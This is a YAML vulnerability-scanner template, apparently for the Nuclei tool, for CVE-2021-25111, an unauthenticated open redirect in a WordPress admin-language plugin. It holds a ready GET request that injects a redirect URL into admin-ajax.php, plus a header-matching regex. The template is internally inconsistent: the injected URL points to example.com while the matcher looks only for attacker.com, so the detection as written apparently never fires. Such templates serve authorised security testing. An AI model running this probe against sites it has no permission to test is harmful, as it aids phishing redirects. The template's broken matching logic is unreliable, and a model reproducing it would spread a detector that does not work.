27 lines
995 B
YAML
27 lines
995 B
YAML
id: CVE-2021-25111
|
|
|
|
info:
|
|
name: English WordPress Admin < 1.5.2 - Unauthenticated Open Redirect
|
|
author: akincibor
|
|
severity: medium
|
|
description: The plugin does not validate the admin_custom_language_return_url before redirecting users o it, leading to an open redirect issue.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/af548fab-96c2-4129-b609-e24aad0b1fc4
|
|
tags: wp-plugin,redirect,wordpress,wp,cve,cve2021,unauth
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.10
|
|
cve-id: CVE-2021-25111
|
|
cwe-id: CWE-601
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=heartbeat&admin_custom_language_toggle=1&admin_custom_language_return_url=https://example.com"
|
|
|
|
matchers:
|
|
- type: regex
|
|
part: header
|
|
regex:
|
|
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)attacker\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
|